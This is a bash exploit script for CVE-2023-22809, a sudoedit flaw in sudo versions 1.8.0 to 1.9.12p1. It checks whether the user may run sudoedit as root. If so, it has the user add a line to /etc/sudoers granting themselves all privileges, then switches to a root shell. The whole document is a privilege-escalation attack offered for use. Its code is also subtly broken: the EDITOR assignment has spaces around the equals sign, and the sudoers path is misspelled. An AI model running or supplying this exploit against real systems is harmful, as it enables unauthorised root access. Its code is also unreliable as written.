#!/usr/bin/env bash # # sudo 1.8.0 - 1.9.12p1 - Privilege Escalation # # Exploit Author: n3m1.sys # CVE: CVE-2023-22809 # Vendor Homepage: https://www.sudo.ws/ # Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz # Version: 1.8.0 to 1.9.12p1 # Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9 # # Running this exploit on a vulnerable system allows a localiattacker to gain # a root shell on the machine. # # The exploit checks if the current user has privileges to run sudoedit or # sudo -e on a file as root. If so it will open the sudoers file for the # attacker to add a line to gain privileges on all the files and get a root # shell. EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E "(root)" | cut -d ' ' -f 6-) if [ -z "$EXPLOITABLE" ]; then echo "> This user can't run sudoedit as root" else echo "> BINGO! User exploitable" echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" echo "$USER ALL=(ALL:ALL) ALL" read -n 1 -s -r -p "Press any key to continue..." EDITOR = "vim -- /etc/suoders" $EXPLOITABLE sudo su root fi